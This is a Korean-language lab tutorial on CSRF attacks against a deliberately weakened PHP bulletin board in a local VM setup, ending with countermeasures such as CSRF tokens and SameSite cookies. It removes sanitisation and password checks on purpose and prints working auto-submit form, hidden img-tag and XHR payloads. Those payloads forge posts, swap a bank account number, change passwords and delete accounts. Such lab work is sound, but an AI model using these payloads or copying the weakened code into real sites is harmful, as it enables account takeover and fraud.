1) CSRF란 무엇인가?
CSRF(Cross-Site Request Forgery)
- 사이트간 요청 위조라는 의미를 가지고 있다.
- 공격자는 사용자가 의도하지 않은 작업을 수행할 수 있도록 유도하는 취약점
- 사용자가 의도하지 않은 요청이 공격자에 의해 수행된다.(ex: 사용자 정보 수정, 게시글 작성/수정/삭제, 회원탈퇴 등)
- 악성 스크립트를 읽음으로써 사용자도 모르게 SNS에 게시글이 작성되는 등의 행위가 발생함
SQL Injection 같은 경우에는 공격자가 공격 구문을 넣고, 공격자가 파라미터를 변조하는 등 공격자의 직접적인 행위에 의해 공격이 발생한다.
CSRF는 Client-Side Script 로 작성된 악성 스크립트를 사용자에게 읽게끔하여 공격자가 의도한 사용자 정보 수정, 패스워드 변경, 회원 탈퇴 등의 행위를 사용자가 직접 하도록 유도하는 공격이다.
2) 공격 원리 분석
1. 공격자는 악성 스크립트가 담긴 게시글을 작성한다.(ex: 읽으면 패스워드를 자동으로 변경 요청하는 스크립트)
2. DB에 악성 스크립트가 저장된다.
3. 인증된 사용자가 해당 게시글을 클릭하여 읽는다.
4. 게시글에 포함된 악성 스크립트가 DB에서 웹 페이지로 전달된다.
5. 게시글에 담긴 악성 스크립트가 사용자의 웹 브라우저에서 발생된다. (Client-Side Script 로 작성된 악성 스크립트)
6. 사용자는 웹 서비스에 패스워드를 변경하는 요청을 보낸다. (사용자가 의도하지 않은 요청)
위 예시는 1개의 사이트에서 악성 스크립트도 읽고 요청도 발생했다.
1. 공격자는 악성 스크립트가 담긴 게시글을 작성한다.(ex: 읽으면 회원탈퇴를 자동 요청하는 스크립트)
2. DB에 악성 스크립트가 저장된다.
3. 인증된 사용자가 해당 게시글을 클릭하여 읽는다.
4. 게시글에 포함된 악성 스크립트가 DB에서 웹 페이지로 전달된다.
5. 게시글에 담긴 악성 스크립트가 사용자의 웹 브라우저에서 발생된다. (Client-Side Script 로 작성된 악성 스크립트)
6. 사용자는 다른 취약한 웹 서비스에 회원탈퇴를 요청하는 요청을 보낸다. (사용자가 의도하지 않은 요청)
위 예시는 게시글을 읽는 사이트와 최종 요청을 하는 사이트가 다른 경우이다.
3) XSS vs CSRF
XSS
- 악성 스크립트를 읽은 후 공격자 서버로 요청 후 응답을 통해 사용자에게 악성 행위 시도(악성코드 감염, 세션 탈취 등)
- 공격 대상: 사용자(클라이언트)
CSRF
- 악성 스크립트를 읽은 후 사용자가 의도하지 않은 작업을 한다. (게시글 작성, 회원탈퇴 등)
- 정상적인 웹 서비스에 사용자가 의도하지 않은 요청을 통해서 서버를 대상으로 악성 행위 시도
- 명확한 공격 페이로드가 존재하는 것이 아닌, 사용자의 요청을 인해 발생하므로 알아채기 어려움
- 공격 대상: 서버
실습6-1 CSRF 공격을 통한 게시글 무단 작성, 수정, 삭제 실습
CSRF 공격 원리 분석의 예시(1)을 참고하여 공격을 진행해본다.
위 예시와 같이 CSRF 공격이 통하려면 HTML 태그가 먹혀야 한다. ( XSS 공격에 취약한 웹 사이트인 경우 공격 가능 )
이전에 XSS 공격에 대해 시큐어코딩을 적용하였기 때문에, action.php 에서 관련 시큐어 코딩 부분을 삭제한다.
action.php 내 write 모드의 content 부분만 XSS 공격에 대한 시큐어 코딩을 주석처리한다.
→ 게시글 작성 부분에 XSS, CSRF 취약점 존재
< action.php 의 write 모드의 content 부분 XSS 시큐어 코딩 삭제 >
if($mode == "write") {
$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
$id = $db_conn->real_escape_string($_SESSION["id"]);
$writer = xss_html_entity($db_conn->real_escape_string($_SESSION["name"]));
$password = $db_conn->real_escape_string($_POST["password"]);
#$content = xss_html($db_conn->real_escape_string($_POST["content"]));
$content = $db_conn->real_escape_string($_POST["content"]);
$secret = $_POST["secret"];
$uploadFile = "";
if(empty($title) || empty($password) || empty($content)) {
echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
exit();
}
이후 게시글을 무단으로 작성하는 실습을 진행한다.
호스트 PC(피해자)와 VMWare(공격자) 2개를 사용하여 실습을 진행한다.
호스트 PC에서는 관리자 계정으로 로그인하며, VMWare 에서는 해커 계정으로 로그인 한다.
VMWare 에서 해커 계정으로 게시글을 작성한다.
VMWare 는 칼리리눅스가 설치되어 있는데, 한글 폰트가 깨져서 한글 폰트를 설치 한다.
여기를 참고하여 진행한다.
게시글 내용에는 해당 사용자의 권한으로 다른 게시글이 작성되는 악성 스크립트를 작성하여 실습을 진행할 예정이다.
먼저 해커 계정에서 XSS 취약점이 존재하는지 확인하기 위해 게시글에 스크립트를 입력한다.
게시글 작성 후 해당 게시글 클릭 시 아래와 같이 경고창이 출력되는 것을 확인할 수 있다. (XSS 취약점 존재)
XSS 취약점이 존재하므로, CSRF 공격도 가능한 것을 알 수 있다.
무단으로 게시글을 작성하게 하는 CSRF 공격에 대한 페이로드를 작성한다.
페이로드를 작성하기 위해서는 write 의 form이 어떤 형식으로 구성되어 있는지 확인해야 한다.
우측 상단의 Write 를 클릭하여 게시글 작성 모드로 들어간 후, 마우스 우측 클릭하여 페이지 소스보기로 확인한다.

버프스위트에서 Write 버튼을 클릭하면 아래와 같이 각 입력값에 해당하는 파라미터를 확인할 수 있다.
공격 페이로드
<form action="http://192.168.56.1/insecure_website/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="해커가 무단으로 작성한 게시글">
<input type="hidden" name="password" value="test">
<input type="hidden" name="content" value="해커가 작성함">
<input type="hidden" name="mode" value="write">
<input type="submit">
</form>
글을 읽은 사람이 제출 버튼을 클릭하면 무단으로 게시글을 작성하는 코드다.
127.0.0.1 이 아닌 192.168.56.1로 IP를 바꾼 이유는 127.0.0.1은 해커의 환경(VMWare)에서는 접속이 불가하여 사설 IP(192.168.56.1)로 입력하였다.
127.0.0.1 = 192.168.56.1(해커 접속 가능)
VMWare 에서 해커 계정으로 접속한다.
contents 에 작성한 CSRF 공격 페이로드를 입력 후 게시글을 작성한다.
로컬 PC에서 관리자 계정으로 접속 후 해당 게시글을 확인한다.
제출 버튼을 클릭해본다.
제출 버튼을 클릭하자마자 35번 게시글이 자동으로 작성된 것을 확인할 수 있다.
관리자 권한으로 게시글이 작성된 것을 확인할 수 있다.
관리자 계정에서 제출 버튼을 누르면 어떻게 요청되는지 버프스위트에서 확인해본다.
위와 같이 정상적인 요청이 서버에 전달된다.
→ 관리자가 직접 게시글 작성했을때 form 과 동일하다.
그래서 서버는 해당 요청을 정상요청으로 판단하여 글을 작성하게 된다.
해커가 의도한 게시글 작성이 무단으로 되는 것을 확인할 수 있다.
하지만 위와 같은 상황은 제출이라는 버튼을 클릭해야하므로 상당히 부자연스러운 행위로 볼 수 있다.
그러므로 제출 버튼을 클릭하지 않고 게시글을 확인했을때 자동으로 게시글을 작성하는 페이로드를 작성해본다.
→ 자동으로 게시글 작성되는 경우 공격 확률이 훨씬 높아진다.
다수의 게시글이 작성되어 있는 경우 MySQL에서 한번에 삭제할 수 있다.
delect from insecure_board;
공격 페이로드
<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="해커가 무단으로 작성한 게시글">
<input type="hidden" name="password" value="test">
<input type="hidden" name="content" value="해커가 작성함">
<input type="hidden" name="mode" value="write">
<input type="submit">
</form>
</body>
onload 이벤트
→ HTML 문서의 모든 리소스(이미지, CSS, 스크립트 등)가 로드된 후 실행되는 이벤트
→ 즉, 페이지가 완전히 로드되었을 때 자동으로 특정 작업을 수행할 수 있음.
document.forms[0]
→ 현재 문서(document) 내의 모든 <form> 요소를 배열(HTMLCollection)로 저장한 객체.
→ forms[0]는 첫 번째 <form> 요소를 의미함.
.submit() 메서드
→ <form> 요소의 제출(submit) 동작을 강제로 실행.
→ 즉, 사용자가 버튼을 클릭하지 않아도 자동으로 폼을 서버로 전송함.
동작 과정
1. 웹 페이지가 로드됨 (<body onload="..."> 실행).
2. 첫 번째 <form>을 document.forms[0]으로 선택.
3. 선택된 폼의 .submit() 메서드를 호출하여 자동 제출.
결론
- 웹 페이지가 로드되자마자 첫 번째 폼을 자동 제출하는 기능을 수행함.
VMWare 에서 해커 계정으로 다음과 같이 페이로드를 입력 후 게시글을 작성한다.
로컬 PC의 관리자 계정에서 해당 게시글을 클릭한다.
게시글을 클릭하니 자동으로 아래와 같이 관리자 권한으로 게시글이 작성된다.
관리자는 CSRF 페이로드가 입력된 게시글을 읽자마자 다른 게시글을 자동으로 작성하였다.
→ 사용자가 의도하지 않은 행위를 유도(게시글 작성)
다수의 게시글이 작성되어 있는 경우 MySQL에서 한번에 삭제할 수 있다.
delect from insecure_board;
insecure_website 에서 게시글 수정과 삭제에서도 CSRF 공격을 하기 위해서는 소스코드 수정이 필요하다.
게시글 수정과 삭제 시 password를 받고 있는데, 이는 일반적인 게시글 수정 형태가 아닐뿐만 아니라 password를 모르는 경우 실습 자체가 불가능하기 때문에 password 검증 로직 대신 세션 검증을 하는 코드를 작성한다.
(CSRF 공격은 피해자가 모르는 상황에서 공격자가 의도한 특정 행위를 해야하는데, 공격자는 게시글의 password를 모르는 상태에서 게시글 수정 및 삭제를 할 수 없으므로 CSRF 공격 자체가 불가능함)
< action.php 의 modify 및 delete 부분의 password logic 코드를 주석 처리 후 세션 검증 코드 작성 >
<?
@session_start();
header("Content-Type: text/html; charset=UTF-8");
include ( './common.php' );
$mode = $_REQUEST["mode"];
$db_conn = mysql_conn();
if($mode == "write") {
$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
$id = $db_conn->real_escape_string($_SESSION["id"]);
$writer = xss_html_entity($db_conn->real_escape_string($_SESSION["name"]));
$password = $db_conn->real_escape_string($_POST["password"]);
#$content = xss_html($db_conn->real_escape_string($_POST["content"]));
$content = $db_conn->real_escape_string($_POST["content"]);
$secret = $_POST["secret"];
$uploadFile = "";
if(empty($title) || empty($password) || empty($content)) {
echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
exit();
}
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
exit;
}
}
if($secret == "on") {
$secret = "y";
} else {
$secret = "n";
}
$uploadFile = $db_conn->real_escape_string($uploadFile);
$content = str_replace("\\r\\n", "<br>", $content);
$query = "insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())";
$db_conn->query($query);
} else if($mode == "modify") {
$idx = $_POST["idx"];
$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
$password = $db_conn->real_escape_string($_POST["password"]);
$content = xss_html($db_conn->real_escape_string($_POST["content"]));
$secret = $_POST["secret"];
$uploadFile = xss_html_entity($_POST["oldfile"]);
if(empty($idx) || empty($title) || empty($password) || empty($content)) {
echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
exit();
}
if(!is_numeric($idx)) {
echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
exit();
}
# Password Check Logic
#$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
$query = "select * from {$tb_name} where idx={$idx} and id='{$_SESSION["id"]}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num == 0) {
#echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
echo "<script>alert('잘못된 요청 입니다.');history.back(-1);</script>";
exit();
}
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
exit;
}
}
if($secret == "on") {
$secret = "y";
} else {
$secret = "n";
}
$content = str_replace("\\r\\n", "<br>", $content);
$uploadFile = $db_conn->real_escape_string($uploadFile);
$query = "update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}";
$db_conn->query($query);
} else if($mode == "delete") {
$idx = $_POST["idx"];
$password = $db_conn->real_escape_string($_POST["password"]);
if(!is_numeric($idx)) {
echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
exit();
}
# Password Check Logic
#$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
$query = "select * from {$tb_name} where idx={$idx} and id='{$_SESSION["id"]}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num == 0) {
#echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
echo "<script>alert('잘못된 요청 입니다.');history.back(-1);</script>";
exit();
}
$query = "delete from {$tb_name} where idx={$idx}";
$db_conn->query($query);
}
echo "<script>location.href='index.php';</script>";
$db_conn->close();
?>
세션 검증 코드 작성 후 로컬PC의 관리자 계정으로 게시글을 작성해본다.
관리자가 특정 은행 계좌로 돈을 입금 받는 게시글을 작성한다.
해커는 본인의 계좌번호로 입금받도록 해당 게시글을 수정하는 CSRF 공격을 진행한다.
공격자는 이 게시글을 발견하고 이 게시글 내 계좌번호를 본인의 계좌번호로 변경하는 CSRF 공격을 진행한다.
VMWare 에서 해커 계정으로 로그인한다.
CSRF 공격을 하기 위해서는 요청값을 정확하게 알아야 한다.
해커 계정으로 test 게시글 작성 후 게시글 수정에서 필요한 파라미터가 무엇인지 확인해본다.
게시글 무단 작성 시에도 요청값을 확인했듯이, 버프스위트에서 게시글 수정 버튼을 클릭하여 어떻게 수정 요청이 이루어지는지 확인할 수 있다.
게시글 수정 페이지의 소스코드 보기를 통해서도 확인이 가능하다.
게시글 수정 요청하는 CSRF 공격 페이로드
여기서 password 부분은 검증 로직이 없기 때문에 임의의 문자열을 입력해도 게시글 수정이 가능하다.(빈칸 입력 시 게시글 수정 불가)
<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="계좌번호 정보입니다.">
<input type="hidden" name="password" value="a">
<input type="hidden" name="content" value="* 은행: 테스트 은행
* 예금주: 해커
* 계좌번호: 1212-1212-1212
모든 상품에 대한 입금은 해당 계좌로 입금해주세요">
<input type="hidden" name="idx" value="42">
<input type="hidden" name="mode" value="modify">
<input type="submit">
</form>
</body>
게시글을 수정하는 대상(작성자)가 읽을만한 게시글을 작성해야 한다.
공격자는 위 CSRF 페이로드를 사용하여 관리자가 혹할만한 게시글을 작성한다.
로컬 PC의 관리자 계정으로 해당 게시글을 확인해본다.
관리자가 CSRF 페이로드가 입력된 게시글을 확인하자, 기존에 작성했던 계좌번호 정보 게시글이 해커의 계좌번호로 변경된 것을 확인할 수 있다.
버프스위트에서 해당 요청값을 확인해본다.
해커가 작성한 게시글을 읽었을뿐인데, 관리자가 작성한 게시글이 자동으로 수정되는 것을 알 수 있다.
→ HTTP history 에서 idx=44 게시글(해커가 작성한 게시글)을 통해서 idx=42 게시글(관리자의 계좌번호 게시글)을 수정하는 요청이 이루어지는 것을 알 수 있다.
세션 검증 로직을 사용해도, 서버는 게시글 작성자의 정상적인 수정 요청으로 인식하여 게시글을 수정하게된다.
이를 통해 공격자는 피해자가 의도하지 않은 게시글 무단 수정을 할 수 있게 된다.
이전의 게시글을 MySQL에서 한번에 삭제한다.
delect from insecure_board;
이번에는 게시글 무단 삭제 실습을 진행한다.
로컬 PC의 관리자 계정으로 삭제할 게시글을 작성한다.
VMWare 에서 해커 계정으로 test 게시글을 작성한다.
버프스위트로 test 게시글의 삭제 요청을 확인한다.
password 검증 로직은 주석 처리하였으므로, password에는 임의의 값만 입력하면 게시글은 삭제가 가능하다.
게시글 수정 요청하는 CSRF 공격 페이로드
여기서 password 부분은 검증 로직이 없기 때문에 임의의 문자열을 입력해도 게시글 삭제가 가능하다.
idx 에는 삭제할 게시글 번호를 입력해주고, enctype="multipart/form-data" 는 삭제해준다.
<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/action.php" method="POST">
<input type="hidden" name="password" value="a">
<input type="hidden" name="idx" value="45">
<input type="hidden" name="mode" value="delete">
<input type="submit">
</form>
</body>
해커는 관리자가 읽을만한 게시글을 작성한다.
게시글 내용에는 idx=45 게시글을 삭제하는 CSRF 공격 페이로드를 입력한다.
관리자는 해당 게시글을 클릭한다.
게시글을 클릭하는 순간, 관리자가 작성한 공지사항이 삭제되는 것을 확인할 수 있다.
버프스위트의 HTTP history 확인 시, 관리자가 idx=48 게시글을 읽음으로써, idx=45 게시글 삭제 요청을 한 것을 알 수 있다.
이를 통해 CSRF 공격을 활용하여 게시글 무단 삭제 실습까지 완료하였다.
현재까지 진행했던 공격은 공격자가 특정 사이트에 악성 스크립트를 저장하여, 피해자는 해당 악성 스크립트를 읽게됨으로써 공격자가 의도한 행위를 자신도 모르게 실행하게 되었다. (1개 사이트)
이번에 진행할 실습은 서로 다른 사이트(2개 사이트)에서 진행된다.
공격자는 자신의 서버에 CSRF 공격 페이로드가 담긴 악성 스크립트를 저장한다.
공격자는 해당 서버로 연결되는 URL을 사용자에게 전달하여, 사용자는 해당 URL을 통해 악성 스크립트를 읽게 되어 insecure_website에서 공격자가 의도한 요청을 실행하게 된다.
로컬 PC의 관리자 계정으로 삭제 대상 게시글을 작성한다.
공격자 서버의 URL을 사용하기 위해서는 현재 해커 PC로 사용하는 VMWare 의 칼리리눅스에서 먼저 아파치 서버를 기동시켜줘야 한다. 만약 아파치 서버가 설치되어 있지 않다면, 설치 부터 진행한다.
sudo apt-get install apache2
sudo service apache2 start
이후 VMWare 칼리리눅스(해커 PC)의 IP인 192.168.197.138 로 접속하거나, 127.0.0.1, localhost 로 접속해본다.
위와 같이 Apache2 페이지에 접속된다면 성공적으로 서버가 기동된 것이다.
VMWare 에서 악성 스크립트가 담긴 페이지를 생성한다. (공격자 서버에서 CSRF 페이로드 저장)
VMWare 에서 /var/www/html 에서 폴더를 생성하기 위해서는 root 권한으로 사용해야 가능하다.
VMWare 내 악성 스크립트 저장 위치: /var/www/html/csrf/index.php
공격 페이로드
<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/action.php" method="POST">
<input type="hidden" name="password" value="a">
<input type="hidden" name="idx" value="49">
<input type="hidden" name="mode" value="delete">
<input type="submit">
</form>
</body>
공격자는 자신의 서버에 저장되어 있는 악성 스크립트가 담긴 URL을 사용자에게 전달한다.
여기서 중요한 것은 게시글 작성자의 세션이 있어야 하므로, 관리자가 현재 로그인한 상태에서 해당 URL을 접속해야 성공적으로 게시글이 삭제된다는 것이다.
공격자 서버 주소: http://192.168.197.138/csrf/
만약 관리자 계정으로 로그인되지 않은 경우라면 아래와 같이 악성 스크립트가 담긴 URL에 접속하게 되어도 잘못된 요청이라는 에러 메시지가 발생한다. (삭제할 게시글의 작성자 세션값과 현재 로그인한 사용자의 세션값이 불일치함)
해커는 관리자가 클릭할만한 게시글을 작성하여 악성 스크립트가 담긴 URL에 접속하도록 유도한다.
관리자는 해당 게시글을 클릭 후 링크에 접속하게된다.
해당 링크를 클릭 후 관리자가 작성했던 게시글이 삭제된 것을 확인할 수 있다.
실제로 CSRF 공격은 다음과 같이 진행될 수 있다.
페이스북과 네이버에 로그인 중인 사용자가 있다고 가정한다.
1. 공격자는 페이스북의 게시글 작성 요청값을 분석하여 페이스북 게시글을 무단으로 작성하는 악성 스크립트를 생성한다.
2. 공격자는 사용자가 자주 방문하는 네이버 카페에 피해자가 클릭할만한 게시글을 업로드 하면서 특정 링크에 악성 스크립트와 연결되는 서버를 저장한다.
3. 피해자는 네이버 카페에서 게시글을 읽던 중, 스마트폰 할인, 전자기기 할인 등 피해자가 클릭할만한 게시글을 확인하게 된다. 피해자는 해당 게시글에서 할인 정보로 가장한 악성 스크립트가 담긴 URL 링크를 클릭하게 된다.
4. 악성 스크립트에 의해 피해자의 페이스북에서 무단으로 게시글이 작성된다.
실습6-1 CSRF 공격을 통한 회원 정보 무단 수정, 패스워드 변경, 회원 탈퇴 실습
회원 정보를 무단으로 수정하기 위해서는 코드 수정이 필요하다.
파일 위치: C:\APM_Setup\htdocs\insecure_website
먼저 withdrawal.php 파일을 복사하여 백업본을 저장한다.
기존 withdrawal.php 파일을 CSRF 공격이 가능하도록 수정한다.
< withdrawal.php >
<?
@session_start();
include_once("./common.php");
$db_conn = mysql_conn();
$query = "delete from members where id='{$_SESSION["id"]}'";
$result = $db_conn->query($query);
unset($_SESSION["id"]);
session_destroy();
echo "<script>location.href='index.php'</script>";
?>
mypage.php 에서 withdrawal.php 에서 파라미터를 받는 부분도 제거를 해준다.
id=<?=$_SESSION["id"]?> 제거
< mypage.php 의 withdrawal.php 부분 >
<div class="text-center">
<input type="submit" class="btn btn-info" value="수정하기">
<button type="button" class="btn btn-danger" onclick="if(confirm('탈퇴 하시겠습니까?')) location.href='withdrawal.php?'">회원탈퇴하기</button>
</div>
기존에 id를 파라미터로 받았었는데, 세션값을 통해서 받게끔 코드를 수정한다.
<?
include_once("./common.php");
$db_conn = mysql_conn();
#$id = $db_conn->real_escape_string($_GET["id"]);
$id = $_SESSION["id"];
$gubun = $_POST["gubun"];
VMWare 에서 해커 계정으로 로그인한다.
회원 정보 수정을 위해서는 회원 정보 수정 시 요청값에 대해 분석해야 한다.
해커 계정의 MyPage 에서 회원 정보 수정을 해본다.
버프스위트에서 Intecept On 후 회원정보 수정하기 버튼을 클릭한다.
gubun, name, password, email, company 등의 파라미터를 확인할 수 있다.
password는 변경하지 않는 이상 비워져 있어도 된다.
공격 페이로드
<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/index.php?page=mypage" method="POST">
<input type="hidden" name="gubun" value="action">
<input type="hidden" name="name" value="희생자">
<input type="hidden" name="email" value="victim@naver.com">
<input type="hidden" name="company" value="(주)희생자">
<input type="submit">
</form>
</body>
해커는 위 CSRF 페이로드를 입력하는 게시글을 작성한다.
만약 사용자가 위 게시글을 읽게된다면, 본인의 회원정보가 희생자로 자동으로 변경되는 것이다.
회원정보를 수정할 test 계정을 생성한다.
계정 생성 후 회원정보 수정 게시글을 클릭한다.
게시글을 클릭하자마자 회원정보 수정완료라는 메시지가 발생한다.
MyPage로 들어가니 희생자로 회원정보가 변경된 것을 확인할 수 있다.
최근 웹 사이트는 회원정보를 수정하기 위해 사전에 비밀번호를 입력해야하므로, 이런 방식의 CSRF 공격을 요즘 통하지 않는다. 하지만 이전에는 이런 방식으로 회원정보를 수정하였으며, 예전에 만든 웹 사이트에서는 충분히 CSRF 공격이 가능하다.
이번에는 비밀번호 변경을 무단으로 하는 실습을 진행한다.
VMWare 에서 해커 계정으로 접속 후 패스워드 변경 게시글을 작성한다.
공격 페이로드
<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/index.php?page=mypage" method="POST">
<input type="hidden" name="gubun" value="action">
<input type="hidden" name="name" value="희생자">
<input type="hidden" name="password" value="victim">
<input type="hidden" name="email" value="victim@naver.com">
<input type="hidden" name="company" value="(주)희생자">
<input type="submit">
</form>
</body>
위 공격 페이로드를 Contents 에 넣는다.
패스워드 변경 게시글
로컬 PC의 test 계정(희생자로 변경됨)에서 해당 게시글을 클릭한다.
게시글을 클릭하자마자 회원정보 수정완료 메시지가 확인된다.
로그아웃 후 test 계정으로 접속을 시도한다.
기존의 비밀번호는 test 였지만 입력하니 로그인이 되지 않는다.
변경된 비밀번호 victim 으로 입력하니 로그인이 되는 것을 확인할 수 있다.
여기서 중요한 것은 위 게시글들은 특정 사용자만이 회원정보가 변경되는 것이 아닌, 게시글을 읽은 모든 사용자의 회원정보가 변경되므로 누가 게시글을 읽었는지 알 수가 없다. 이런 경우에는 많이 사용하는 ID들을 사전으로 모아둔 자료를 이용해서 victim 비밀번호로 로그인이 되는 계정을 무작위로 찾는 방법이 있다.
게시글을 읽게되면 회원탈퇴를 하는 CSRF 공격을 시도해본다.
회원탈퇴를 하면 어떤 요청값을 보내는지 확인하기 위해 버프스위트를 사용한다.
test 계정(희생자)으로 회원 탈퇴를 시도해본다.
회원탈퇴를 진행하면 withdrawal.php 라는 페이지로 요청하는 것을 확인할 수 있다.
http://192.168.56.1/insecure_website/withdrawal.php
위 URL 을 사용하면 굳이 form 태그도 필요하지 않으며, XSS 취약점이 발생할 필요없이 URL 만 요청하면 된다.
회원탈퇴 실습을 하기위해 test 계정으로 재가입한다.
MySQL 에서 현재 가입된 계정 목록을 확인해본다.
총 4개의 계정이 확인된다.
VMWare 에서 해커 계정으로 회원 탈퇴를 유도하는 게시글을 작성한다.
<img> 태그를 사용한다.
<img> 태그는 표시할 이미지를 지정할 때 src 속성에 이미지의 URL을 입력하는 방식을 사용하는데, 여기서 src 속성에 회원 탈퇴 하는 URL을 입력한다.
공격 페이로드
<img src="http://192.168.56.1/insecure_website/withdrawal.php" width="0" height="0">
게시글을 확인하는 사용자가 눈치채지 못하도록 width 와 height 를 0으로 설정한다.
로컬 PC에서 test 계정으로 로그인 후 회원탈퇴 요청 게시글을 클릭한다.
게시글을 클릭하니 아무 내용도 확인되지 않는다.
MyPage 를 클릭하니 존재하지 않는 사용자라는 메시지가 확인된다.
다시 Home 으로 돌아가니 로그아웃 되어 있는 것을 확인할 수 있다.
test 계정으로 로그인을 시도하니 아래와 같은 경고창이 확인된다.
MySQL 에서 회원 목록을 확인해본다.
select * from members;
기존의 4개 계정이 확인되었는데, 현재는 test 계정을 제외한 3개 계정이 확인되는 것을 알 수 있다.
버프스위트의 HTTP history 에서 요청 기록을 확인해본다.
idx=53 게시글을 확인하니 회원탈퇴 페이지로 GET 요청이 이루어진 것을 확인할 수 있다.
<img> 태그를 이용해서 src 속성값에 회원탈퇴 URL을 넣었기때문에 웹 브라우저는 이미지에 대한 URL인줄 알고 요청하게 된 것이다. 해당 요청을 통해 회원탈퇴가 발생하게 된 것이다.
메소드에 따라 사용하는 태그가 달라진다.
GET 방식 Action → <img> 태그 사용
POST 방식 Action → <body>, <form> 태그 중복으로 사용
실습6-3 Ajax를 활용한 Stealth CSRF 공격
Ajax를 활용하여 회원 정보 수정 및 패스워드 변경을 동시에 진행하는 CSRF 공격을 실습해본다.
Ajax 사용 방법
- XML HTTP Request 객체 사용
- jQuery 사용
일반적인 XML HTTP Request 객체를 사용해본다.
true: 비동기화
false: 동기화
< CSRF 페이로드 샘플 >
<script>
var xhp = new XMLHttpRequest();
xhp.open("POST", "http://192.168.56.1/insecure_website/index.php?page=mypage", true);
xhp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhp.send("gubun=action&name=희생자&password=victim&email=victim&company=(주)희생자");
</script>
<실제 CSRF 삽입 페이로드, 개행이 적용되지 않음 >
<script>var xhp = new XMLHttpRequest();xhp.open("POST", "http://192.168.56.1/insecure_website/index.php?page=mypage", true);xhp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xhp.send("gubun=action&name=희생자&password=victim&email=victim&company=(주)희생자");</script>
VMWare 의 해커 계정에서 위 악성 스크립트를 삽입하여 게시글을 작성한다.
게시글 작성 후 로컬 PC의 test1 계정으로 로그인한다.
test1 계정의 정보는 다음과 같다.
54번 게시글을 클릭한다.
클릭 시 별다른 행위는 확인되지 않는다.
MyPage 를 들어가면 회원정보가 수정된 것을 확인할 수 있다.
버프스위트의 HTTP history 를 확인해본다.
idx=54 게시글을 클릭하여 회원정보 수정이 이루어진 것을 알 수 있다.
test1 계정(희생자로 변경됨) 로그아웃 후 다시 로그인을 시도해본다.
이전 비밀번호 test 를 입력하지만 로그인이 되지 않는다.
변경된 비밀번호 victim 입력 시 로그인이 되는 것을 확인할 수 있다.
URL 호출을 통해 회원탈퇴가 이루어지거나 또는 GET 방식을 사용하여 회원탈퇴가 이루어지는 경우 사용자가 인지하지 못한 상태로 회원탈퇴가 가능할 수가 있기 때문에 상당히 위협적이다.
단순히 세션 검증만 해서는 CSRF 공격을 방어하기 어려우므로 각각 기능에 대해 다양한 검증 방법을 추가하여 CSRF 공격을 방어해야 한다.
4) 대응방안
1. Referer 값 검증
2. CSRF TOKEN 사용
3. 인증 로직 사용 / CAPCHA 사용
4. SameSite Cookie
1. Referer 헤더를 검증
→ 게시글을 읽었는데 회원 정보 수정 요청을 한다. - 잘못된 요청
→ A사이트에서 B사이트로 회원 정보 수정, 게시글 작성 등의 요청을 한다. - 잘못된 요청
→ 해당 요청 관련 form 에서 action 으로 이동이 아닌 경우는 잘못된 요청으로 볼 수 있다.
2. CSRF TOKEN 사용
→ 난수화된 임의의 값을 세션과 form 페이지의 input 태그에 넣는다. - 세션과 form 에 각각 CSRF TOKEN 삽입
→ 요청을 받는 action 페이지에서 세션과 form 페이지의 CSRF TOKEN이 동일한지 비교한다.
→ 공격자는 CSRF TOKEN 값 예상이 어렵다
3. 인증 로직 사용 / CAPCHA 사용
→ 게시글 수정/삭제 시 패스워드 입력, 회원 정보 수정 시 패스워드 입력
4. SameSite cookie
→ 쿠키가 없는 경우 도메인이 다른 사이트간 교차 요청 불가
CSRF Token 동작 상세 원리
폼 페이지(Form Page)
→ 게시글 작성/수정/삭제 및 회원정보 수정/삭제/탈퇴 등에 사용됨
→ 값 입력
액션 페이지(Action Page)
→ 폼 페이지에서 입력한 값들을 전달받고 동작을 실행
폼 페이지에서 CSRF Token 을 발급
→ 세션에 Token 삽입
→ 파라미터(hidden)에 Token 삽입
액션 페이지에서 CSRF Token 유효성 검증
→ 세션 Token 받아옴
→ 파라미터 Token 받아옴
→ 세션과 파라미터의 Token 이 일치해야한다.
